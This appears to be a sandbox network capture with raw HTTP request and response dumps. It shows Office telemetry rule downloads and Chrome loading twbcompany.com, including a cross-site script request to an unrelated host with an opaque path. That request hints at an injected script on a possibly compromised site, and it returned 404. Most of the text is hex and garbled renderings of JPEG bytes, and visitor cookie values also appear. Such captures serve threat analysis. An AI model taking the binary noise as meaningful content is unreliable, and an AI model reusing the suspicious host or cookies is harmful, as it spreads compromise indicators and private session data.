T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49861	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f57b7c9f-801e-00a0-4a13-172196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121029Z-1657d5bbd48lknvp09v995n7900000000340000000008dhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49862	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 81e42967-c01e-0014-5ee9-16a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121029Z-1657d5bbd48762wn1qw4s5sd30000000039g00000000cte5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49866	185.76.79.50	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	572	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:32 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 12:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 12:10:32 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 12:10:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49868	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	881	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:30 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 12:10:30 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 12:10:30 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49869	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	927	OUT	GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:30 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Mar 2021 16:17:40 GMT Accept-Ranges: bytes Content-Length: 101288 Content-Type: image/jpeg
2024-10-07 12:10:30 UTC	7957	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 35 20 37 39 2e 31 36 34 35 39 30 2c 20 32 30 32 30 2f 31 32 2f 30 39 2d 31 31 3a 35 37 3a 34 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xm
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 76 5c 78 73 bd 1a 6b 3c b5 ad ed 9f 75 aa e4 07 41 60 d6 d5 95 f6 9d 4f ac bb fc af db ce 9b 35 9f cb 7f ab 96 9f 1b 97 9b e8 ee dc da df 13 67 ba 8d fe 49 9c 74 b4 f0 a7 1f 99 79 b6 ff 00 91 71 f1 b4 75 db e1 46 c5 25 7b 35 b3 3c 41 1f e3 5b d3 fe 4b f1 f7 b8 ae 7b 7c 3d a3 2f 79 bb bd b6 b7 6b 84 1a c6 ad 2e a7 b5 43 ca 8b e8 f5 7e d3 a7 6f 55 cf fb 5d 96 98 e8 1c ca 96 96 93 8d 31 cc 2f 54 f9 7a ed ea b9 7e 2d a2 ec 4e 86 4b 3d 6d 24 3a 13 52 4f 00 71 5f 1b bb 7f c7 f2 a5 cf 8d 9e 99 33 aa 93 6e d8 c1 2f 51 81 e0 3a b1 e1 89 0b f4 ba cf 4f 0e d6 c4 f1 cd 24 f1 b6 4b 78 b4 50 8e a0 f0 5a b7 8c 27 93 df 14 4d 89 8e 12 17 92 6a e2 6b 81 c9 67 5e db 0b 25 61 6f 57 92 59 59 cf 21 94 c9 23 8d 60 82 20 05 00 e6 4d 17 a2 f6 4c 39 4d 6d 43 b4 6f ec dd 2c 1d 3b Data Ascii: v\xsk<uA`O5gItyquF%{5<A[K{\|=/yk.C~oU]1/Tz~-NK=m$:ROq_3n/Q:O$KxPZ'Mjkg^%aoWYY!#` ML9MmCo,;
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: ef 11 d3 97 e3 d7 ca 7b 1b 5e dc 86 21 6f 15 bc 4d 07 3d 4d 69 24 f3 24 e2 bf 47 db fa 3e cf a3 cb fd c5 b7 d9 2f 7b 57 b6 af 18 e1 2d bb 08 76 7a 4e 9f a1 79 6f eb bb 74 74 d7 e4 6c e3 bb 87 e1 8f 6c 4d 0c a5 92 ba 17 48 dd 0d 14 d5 f2 54 af 57 47 e4 e4 ed f9 73 3c bc c7 70 f8 04 63 b7 ad 96 e3 d5 9d cf 2e 6c 72 57 0a d3 d2 be bf f7 16 f8 be 9c e6 9a fb fa aa c7 f0 3f b9 6d 83 a5 9a 17 39 a1 b5 02 32 5c 49 f4 1a 2f 3f 67 cd d6 78 8e 92 4a 93 6a ec 2d ed 9b 9d ac 12 b2 48 db a8 3a 6d 6d a0 0d 6e 24 57 d0 bd 3d 1d bc f6 c4 73 ed d7 59 32 a1 dc d7 3b 9d ae e5 23 ac 2e 5f 6d 0b 24 73 18 c6 3d c4 9d 26 95 23 c6 8b af 67 7c 99 93 db 97 57 56 66 68 da bb bb ba 6d 6b 24 f2 ba 46 83 46 9d 21 d8 7a 4a ce bf 27 0d 6d f1 5d 26 e5 dc 8e 76 d5 61 77 78 d0 db 89 a5 2f Data Ascii: {^!oM=Mi$$G>/{W-vzNyottllMHTWGs<pc.lrW?m92\I/?gxJj-H:mmn$W=sY2;#._m$s=&#g\|WVfhmk$FF!zJ'm]&vawx/
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 3f 5b ff 00 81 4c 53 29 47 71 b8 e7 6b 4f f3 ff 00 f0 ab 83 29 06 fa 48 ff 00 e5 ff 00 3f ff 00 0a bc 53 91 e3 7a 3f f2 3f 3b f1 27 13 90 3b d1 1f f0 3f 3b ff 00 0a 71 39 25 6e e8 48 fd 17 e7 7e 24 e2 72 2f de 5f d1 fe 77 e2 4e 27 21 f7 97 f4 7f 9d f8 93 89 c8 7d e3 fd 1f e7 7e 25 30 64 bf 78 ff 00 47 f3 fe 24 c2 e4 7d e3 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e0 7f e5 fe 77 e2 4c 19 1f 78 ff 00 47 f3 fe 24 c1 91 f7 8f f4 7f 3f e2 4c 19 27 de 5f d1 fc ff 00 89 30 0f bc bf a3 f9 ff 00 12 60 2f de 23 fe 5f cf f8 93 0a 8b de ff 00 ac f5 b4 fd 4d 1a 6b e3 5a d6 89 81 f2 93 5c 07 0a ae ce 49 43 da 81 6a 10 08 d4 a1 0b 42 26 b4 23 5c 82 ad 64 Data Ascii: ?[LS)GqkO)H?Sz??;';?;q9%nH~$r/_wN'!}~%0dxG$}G0d}G0d}G0d}wLxG$?L'_0`/#_MkZ\ICjB&#\d
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: cc fc 43 73 fb 27 fb 2c eb 18 8c 60 06 8b 9a e2 06 ad 5a b4 d3 db f1 aa f9 ff 00 d9 ed cf 39 fe 39 cb e9 5f 9b af 1c 63 ce 31 fd 1c a3 64 00 d5 b8 7a 17 bf 0f 99 b7 b5 b8 37 3b d8 48 30 cf 2c 64 65 a2 47 37 e8 28 66 b5 6d 3b c7 ba 2d e9 d1 dd ae da 07 0e b3 cf d2 4a 66 ac 76 7d 93 de dd c3 b8 5f 49 06 e7 dc d3 59 44 c8 f5 46 5c 21 25 ee ae 5a a4 69 18 0c 57 8f e5 77 ef a6 38 fd 5e ef 8b d1 a6 f9 e5 fe 8d 2d 8f e2 97 76 4d bd dc 58 3e fa 1b cb 28 ba 82 3b 91 10 69 7b 5a ea 35 de 53 4c 57 7e be ed ae 92 df 6f 3f 7f 56 9a ed 64 72 9d 9d bc de 7f 12 2e 37 46 01 2c ac 75 c4 ae 0e c8 ea 76 9f c2 ba ed bd 9e 5c 35 99 af 5d ec ff 00 8c 16 bb fe f6 36 87 58 be 09 dc 5e d6 48 1c d7 30 f4 eb 5e 47 1a 2d eb be 4b ab d2 5b 95 56 d8 38 20 54 05 10 2a 05 a2 05 50 08 a1 Data Ascii: Cs',`Z99_c1dz7;H0,deG7(fm;-Jfv}_IYDF\!%ZiWw8^-vMX>(;i{Z5SLW~o?Vdr.7F,uv\5]6X^H0^G-K[V8 T*P
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: b0 fb 40 a9 83 2e 5f bc 76 fe 94 7d 5b 28 1a d3 f5 8d 17 3d b4 6e 57 2d b2 77 f6 f9 b1 89 99 0d dc d0 ca 70 05 8f 75 3e 45 8c 3a 72 6a de 7c 64 ee 6d eb 66 97 68 dd 6e 9e f8 9e 34 97 b0 00 5c 39 3a 8b 1b 4c d3 2e 7b b7 bb bf b8 7b 6a fd 97 bb 5d cc 90 86 1a e8 a9 d0 e1 c9 cd c8 ab 61 cd d3 bf e3 7f 77 3b b8 63 df 20 9f a5 72 d6 86 3e df fe 13 d8 38 39 ab 3a eb 7e ed 72 fe 8f 56 ed 8f ef 21 b3 de c4 c7 6f 51 fb 9d e0 3a 5e d6 d5 cd f4 82 52 ef 67 d0 9a ca e5 fe 2c fc 6a bb be 0e db 36 89 e3 75 b3 e8 e1 71 11 3d 41 4f 15 99 6e fe fc 2f 8d 7f c5 e5 71 f7 76 fb 15 b4 cc a7 52 39 8e a9 24 7b 6a ed 59 54 3b 34 fc 5a a4 de c6 9b 3e 2b 77 39 86 08 2e 1e 2e 6d 60 6e 9e 94 98 ea 1c 2a 54 bd 32 9c dc e5 c6 f9 3c b7 86 78 9a 20 2e 71 76 96 e4 09 e4 b7 34 c3 37 67 5f Data Ascii: @._v}[(=nW-wpu>E:rj\|dmfhn4\9:L.{{j]aw;c r>89:~rV!oQ:^Rg,j6uq=AOn/qvR9${jYT;4Z>+w9..m`n*T2<x .qv47g_
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 50 bb 38 97 5a 22 7b 6b fb ab 67 87 43 21 61 f0 2a e4 6a bb bb 77 67 30 34 cb 4a 72 c1 32 a8 64 ee 5d d9 ed 2d eb b8 34 e7 8a 99 19 cf 9a 57 9a bd e4 9e 64 a8 34 6c bb 93 78 b3 66 88 6e 1c 1a 32 07 1a 2b 90 ef ed 4e fd d5 ea fb db c3 b9 55 5c 8b 91 f7 df 72 46 da 0b 92 ef 13 44 c9 83 9d f1 1b ba 03 74 99 81 19 64 16 2d a6 23 9f dd 37 ab bd c2 4d 77 27 53 f3 aa c3 52 33 84 af 04 96 92 df 42 64 2f 52 a7 13 5f 12 80 71 40 dd 58 51 14 dd 45 0c 0d 45 14 6a 28 85 08 17 51 40 ba a8 81 75 94 00 75 4a 07 d5 14 b4 41 eb 3f 0e ee ef 6d bb 72 66 b4 81 6e e6 9a 8a e3 89 47 3d ab 8d de 66 0f bf ba 7f 37 1a 7a 93 6a ba 7a 60 c6 c7 b8 d4 02 56 5b 8f 43 f8 6f f1 0e ff 00 b4 e5 7d b8 85 97 56 93 02 64 8d e2 8e 07 98 2b 17 de 5a 72 7d df bd bf 7b ee 1b dd c8 b0 47 d7 7f 95 Data Ascii: P8Z"{kgC!a*jwg04Jr2d]-4Wd4lxfn2+NU\rFDtd-#7Mw'SR3Bd/R_q@XQEEj(Q@uuJA?mrfnG=f7zjz`V[Co}Vd+Zr}{G
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 21 c4 2d 20 24 94 54 71 1f 21 f4 9f a5 4b 50 ad 3f 65 ea 2b 9d f2 20 3e c8 50 75 db 5c 60 ed d0 1a d3 cb 8f ca ba c1 60 b4 0e 38 2a 23 73 05 70 28 1b 4a 71 54 20 6d 78 a8 10 80 38 a0 6e 90 81 c0 81 c2 a8 17 50 e4 11 46 a1 f9 21 01 d4 68 39 22 0e bb 79 20 69 95 a3 ea a0 4e b3 7f 25 05 2d e1 c0 ed 57 44 37 51 d2 da 37 fc f6 ac 76 cc ea d6 b7 cb 80 6c c4 87 b1 e3 17 7d 2b 95 8b 93 62 20 35 c0 8a 9a e5 e0 b4 cb 47 6a b6 37 2f 20 60 e1 88 6f 20 17 2e cd f0 e9 a4 75 d6 96 60 b5 ba 1b a9 ed 19 81 4a 7a 97 92 e6 ba 66 2d b6 1a d4 38 1a 1c 0a e7 6a b1 e3 b4 86 3b b9 ed 9e 01 6c 80 e9 3e 25 7d 2e bd b3 ab cd bc f2 c1 93 6f 73 7a e2 b8 c5 9b 56 d1 9f 0c 44 07 b5 c7 03 e6 1e a5 42 12 06 48 15 b6 ae 90 55 b8 9e 00 66 98 0d 36 f2 34 d0 b5 05 db 2d aa 6b 83 46 8f 95 4c Data Ascii: !- $Tq!KP?e+ >Pu\``8*#sp(JqT mx8nPF!h9"y iN%-WD7Q7vl}+b 5Gj7/ `o .u`Jzf-8j;l>%}.oszVDBHUf64-kFL
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 4e 52 d0 bd 27 2c e4 1d 17 a7 20 74 25 e4 9c 80 60 90 70 4e 40 10 3c a7 20 bd 09 13 90 3a 12 27 20 74 24 4e 40 f7 79 13 90 82 ee 0b 91 69 2f 4c d1 f4 6e 93 fe 7b 53 39 4a cf 82 f6 46 c8 21 ba 6e 87 f0 77 d5 2a 58 ce 56 64 b2 86 52 1e df 2b b8 38 71 52 c3 22 36 cf 6e ec 6b a4 71 e0 bc fd 9d 12 ba eb d9 85 ca 5b 5d 47 f6 a0 35 c3 0d 61 79 f1 bf 5f 9f 71 d7 3a ed fe 2a 57 36 33 db bb 50 f3 33 83 c2 ef d7 df ae ee 77 4b 15 8b 61 90 f9 c5 2b 99 19 7a c2 ed 8b 19 45 1e d9 1c 12 99 ed e3 c5 d4 ab 9b 92 b3 68 cd 94 9b c4 b4 84 98 00 2f 68 c7 05 aa 92 ab d9 dc 4c eb 2d 13 8a 38 e1 ea 5e 49 f1 ff 00 9e 5e 9b db fc 70 4a b5 9e 56 0d 4e e4 17 ab 38 70 4f 05 8d cd d3 e8 1a 5e 7f 24 64 3d 2a 5a b2 2e 4b b5 08 63 68 91 fa 5e 4d 0b 58 30 1e b5 c7 6e d8 eb af 55 a9 6c 9a Data Ascii: NR', t%`pN@< :' t$N@yi/Ln{S9JF!nwXVdR+8qR"6nkq[]G5ay_q:W63P3wKa+zEh/hL-8^I^pJVN8pO^$d=*Z.Kch^MX0nUl
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 4d 2b 24 2d 76 04 1c d7 58 3a 1d 95 fa a2 a0 52 b3 18 5b 93 e4 17 92 d4 6a f3 1c 7d 6b 9d 69 46 57 cc 69 46 8a 78 a8 08 dc fd 42 a0 66 10 6b ee 9a 85 9d b1 61 d7 e5 f3 03 c1 51 8f d5 77 2f a5 40 75 0f e4 fc c8 13 a8 78 b7 e9 40 bd 4f e6 7d 28 11 b2 17 ca d6 f4 85 1c 69 5c 50 76 9b bb 7d cf b7 e3 0d 9d cf d6 d0 0c 34 14 c4 20 e3 0c ac af e8 b1 f5 a0 56 38 1c e3 1f 3a 0d 2d 89 8d 93 74 81 ba 06 0e 07 8f 02 10 7a 66 e9 30 83 68 99 fc 98 83 c8 ae 65 73 8b 8f 17 1a 9f 5a 0a bf 4a 0b 70 ed b7 73 53 43 30 39 20 d5 b5 ec fb e9 a9 57 06 fa d4 b5 64 33 71 ed 0b cb 66 97 6a 06 8b 3c e4 6f 83 01 f6 f2 31 fa 5c 31 5a 97 2e 69 62 80 56 ab 72 0b 71 8a 78 00 b6 17 de 9a d7 69 18 a6 45 93 73 aa 32 da 66 b9 07 99 83 e3 a8 cc 66 b3 75 6a 55 69 6e 5a dc fe 45 ce 6b e5 6d 56 Data Ascii: M+$-vX:R[j}kiFWiFxBfkaQw/@ux@O}(i\Pv}4 V8:-tzf0hesZJpsSC09 Wd3qfj<o1\1Z.ibVrqxiEs2ffujUinZEkmV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49865	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	921	OUT	GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:30 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 16 Nov 2020 18:15:55 GMT Accept-Ranges: bytes Content-Length: 80940 Content-Type: image/jpeg
2024-10-07 12:10:30 UTC	7958	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 02 60 04 8f 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC`"}!1AQa"q2
